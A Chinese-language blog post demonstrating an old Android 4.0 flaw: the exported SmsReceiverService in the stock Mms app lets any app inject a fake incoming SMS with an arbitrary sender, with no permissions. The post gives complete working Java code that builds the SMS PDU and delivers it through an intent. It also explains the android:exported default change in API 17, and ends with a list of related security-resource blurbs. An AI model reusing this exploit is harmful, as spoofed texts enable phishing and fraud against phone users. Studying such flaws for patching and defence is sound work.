导读:本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。
android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇文章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。
原生android4.0系统中,Mms.apk的manifest有这样一段
<service android:name=".transaction.SmsReceiverService" android:exported="true" />
android:exported="true",意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘
在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了
其中UCS-2处理是我新加上去的
private static void createFakeSms(Context context, String sender, String body) { byte[] pdu = null; byte[] scBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD("0000000000"); byte[] senderBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD(sender); int lsmcs = scBytes.length; // 时间处理,包括年月日时分秒以及时区和夏令时 byte[] dateBytes = new byte[7]; Calendar calendar = new GregorianCalendar(); dateBytes[0] = SmsUtil .reverseByte((byte) (calendar.get(Calendar.YEAR))); dateBytes[1] = SmsUtil .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1)); dateBytes[2] = SmsUtil.reverseByte((byte) (calendar .get(Calendar.DAY_OF_MONTH))); dateBytes[3] = SmsUtil.reverseByte((byte) (calendar .get(Calendar.HOUR_OF_DAY))); dateBytes[4] = SmsUtil.reverseByte((byte) (calendar .get(Calendar.MINUTE))); dateBytes[5] = SmsUtil.reverseByte((byte) (calendar .get(Calendar.SECOND))); dateBytes[6] = SmsUtil .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15))); try { ByteArrayOutputStream bo = new ByteArrayOutputStream(); bo.write(lsmcs);// 短信服务中心长度 bo.write(scBytes);// 短信服务中心号码 bo.write(0x04); bo.write((byte) sender.length());// 发送方号码长度 bo.write(senderBytes);// 发送方号码 bo.write(0x00);// 协议标示,00为普通GSM,点对点方式 try { String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet"; Class<?> cReflectedNFCExtras = Class .forName(sReflectedClassName); Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod( "stringToGsm7BitPacked", new Class[] { String.class }); stringToGsm7BitPacked.setAccessible(true); byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body); bo.write(0x00); // encoding: 0 for default 7bit bo.write(dateBytes); bo.write(bodybytes); } catch (Exception e) { Log.i(TAG, "sender:" + sender + "\nbody:" + body, e); // 下面是UCS-2编码的处理,中文短信就需要用此种方式 bo.write(0x08); // encoding: 8 for UCS-2 bo.write(dateBytes); bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的 // 源码具体位置在 // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java } pdu = bo.toByteArray(); } catch (IOException e) { Log.e(TAG, "sender:" + sender + "\nbody:" + body, e); } // 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊! Intent intent = new Intent(); intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService"); intent.setAction("android.provider.Telephony.SMS_RECEIVED"); intent.putExtra("pdus", new Object[] { pdu }); intent.putExtra("format", "3gpp"); context.startService(intent); } public static byte reverseByte(byte b) { return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4); }
我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式
// User Data (and length) byte[] userData; try { if (encoding == ENCODING_7BIT) { userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header, languageTable, languageShiftTable); } else { //assume UCS-2 try { userData = encodeUCS2(message, header); } catch(UnsupportedEncodingException uex) { Log.e(LOG_TAG, "Implausible UnsupportedEncodingException ", uex); return null; } } } catch (EncodeException ex) { // Encoding to the 7-bit alphabet failed. Let's see if we can // send it as a UCS-2 encoded message try { userData = encodeUCS2(message, header); encoding = ENCODING_16BIT; } catch(UnsupportedEncodingException uex) { Log.e(LOG_TAG, "Implausible UnsupportedEncodingException ", uex); return null; } }
先看是不是7-bit编码方式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码
下面附上encodeUCS2代码
/** * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if * necessary * * @return * @throws UnsupportedEncodingException */ public static byte[] encodeUCS2(String message, byte[] header) throws UnsupportedEncodingException { byte[] userData, textPart; textPart = message.getBytes("utf-16be"); if (header != null) { // Need 1 byte for UDHL userData = new byte[header.length + textPart.length + 1]; userData[0] = (byte) header.length; System.arraycopy(header, 0, userData, 1, header.length); System.arraycopy(textPart, 0, userData, header.length + 1, textPart.length); } else { userData = textPart; } byte[] ret = new byte[userData.length + 1]; ret[0] = (byte) (userData.length & 0xff); System.arraycopy(userData, 0, ret, 1, userData.length); return ret; }
现在,我们就可以在原生android4.0上面干坏事了,如果你在真机上面发现上面的代码不起作用,那么很有可能人家已经修复了漏洞,所以你也别总想着干坏事。
不过……HTC G14上面的漏洞还是存在的,起码前两个月是这个样子,没关系,我已经换了手机……
另外值得一提是android:exported这个属性
我们可以在android官方文档中看到如下说明
http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech
ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProvider, reducing default attack surface for applications.
这意味着什么呢?
之前,你可以不用显式设置export这个属性,别人也可以调用你的ContentProvider,但是你的应用放到了Android4.2(API17)上面,那么别人再调用你的ContentProvider的时候就会抛出异常,进而导致应用崩溃
这是时候,我们就必须在manifest文件中显式给export赋值为true
之前就遇到了这样的问题,应用放在4.1上面没有问题,放到4.2上就crash,调查了半天,才发现原因在这里
看来关键的属性还是显式声明的好,因为没准哪一天,它的默认值就变了
下面是一些相关内容
请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!
转贴请保留以下链接
本人blog地址
相关推荐
SSRF是一种由攻击者构造形成由服务端发起请求的一个安全漏洞 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统 可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的) 使用...
该工具是beicheng大佬所写的令牌伪造工具,github地址:https://github.com/BeichenDream/SharpToken,...并且由于在内网很多机器都不出网无法安装.net framework 3.5,这里编译成了4.0版本的可在server服务器上使用。
本源代码包含Android4.0及以下版本短信伪造漏洞实现及开机自启动功能,并实现基于本地的注册码功能,最后增加简陋的杀毒引擎功能,基于Hash值进行数据库匹配。移动终端安全课程的简陋实践。
Ajax与跨站点请求伪造漏洞,近日,我们的网站请微软的工程师作了一次漏洞扫描,扫描结果中有两个“跨站点请求伪造漏洞”。通过查资料,我做了一番研究,包括此漏洞的入侵条件,被攻击后的损失以及防范措施等。
1. 【伪造硬币问题】给你一个装有n个硬币的袋子。n个硬币中有一个是伪造的。你的任务是找出这个伪造的硬币。为了帮助你完成这一任务,将提供一台可用来比较两组硬币重量的仪器,利用这台仪器,可以知道两组硬币的...
1.2 FSDP安全漏洞清单 1 1.3 安全漏洞修复方案 1 1.3.1 会话标识未更新 1 1.3.2 登录错误消息凭证枚举 2 1.3.3 不充分帐户封锁 2 1.3.4 跨站点脚本编制 3 1.3.5 已解密的登录请求 6 1.3.6 跨站点脚本编制 9 1.3.7 ...
javaWeb安全验证漏洞修复总结j,涉及到1.会话未更新。2.SQL注入,盲注。3已解密请求。4.跨站点请求伪造。5不充分账户封锁 等近10来个的问题解决心得
针对appscan安全漏洞扫描出的漏洞的一些解放方法。 1.不充分账户封锁 2.会话标识未更新 3.跨站点请求伪造 4.启用了不安全的http方法 5.已解密的登录请求
可以修改iPhone 上的短信,如果你觉得别人发给你的短信不爽的,可以用这个工具来修改。还可以添加短信到手机上。功能非常强大,所以大家不要用来干坏事。后果自负。 最重要的是手机不需要越狱。
PHP 漏洞全解( 一)-PHP 网页的安全性问题 针对 PHP 的网站主要存在下面几种攻击方式: 1、命令注入(Command Injection) 2、eval 注入(Eval Injection) 3、客户端脚本攻击(Script Insertion) 4、跨网站脚本攻击...
Web 应用安全漏洞原理及测试技术1 SQL注入漏洞 任意文件上传漏洞 任意文件下载漏洞 文件包含漏洞 XSS跨站脚本漏洞 CSRF跨站请求伪造漏洞 逻辑漏洞
利用VC编程伪造显卡故障场景
亲测可用,中级漏洞,解决服务器段请求伪造 final String forURL = ESAPI.encoder().encodeForURL(url); restTemplate.exchange(forURL, HttpMethod.GET,new HttpEntity<String>(headers), List.class, params);
一个php做的简单的银行管理系统,利用cookie值来达到跨站伪造请求的目的,最终造成银行账户余额被修改。
74cms v5.0.1 后台跨站请求伪造漏洞 CVE-2019-11374.md
【伪造硬币问题】给你一个装有n个硬币的袋子。n个硬币中有一个是伪造的。你的任务是找出这个伪造的硬币。为了帮助你完成这一任务,将提供一台可用来比较两组硬币重量的仪器,利用这台仪器,可以知道两组硬币的重量...
漏洞就是软件设计时存在的缺陷,安全漏洞就是软件缺陷具有安全攻击应用方面的价值。软件系统越复杂,存在漏洞的可能性越大。 2、漏洞出现哪些地方?(2天) 前端静态页面 脚本 数据 服务:主机、网络 系统逻辑 移动...
SSRF服务端请求伪造攻击-漏洞银行大咖面对面10-Mat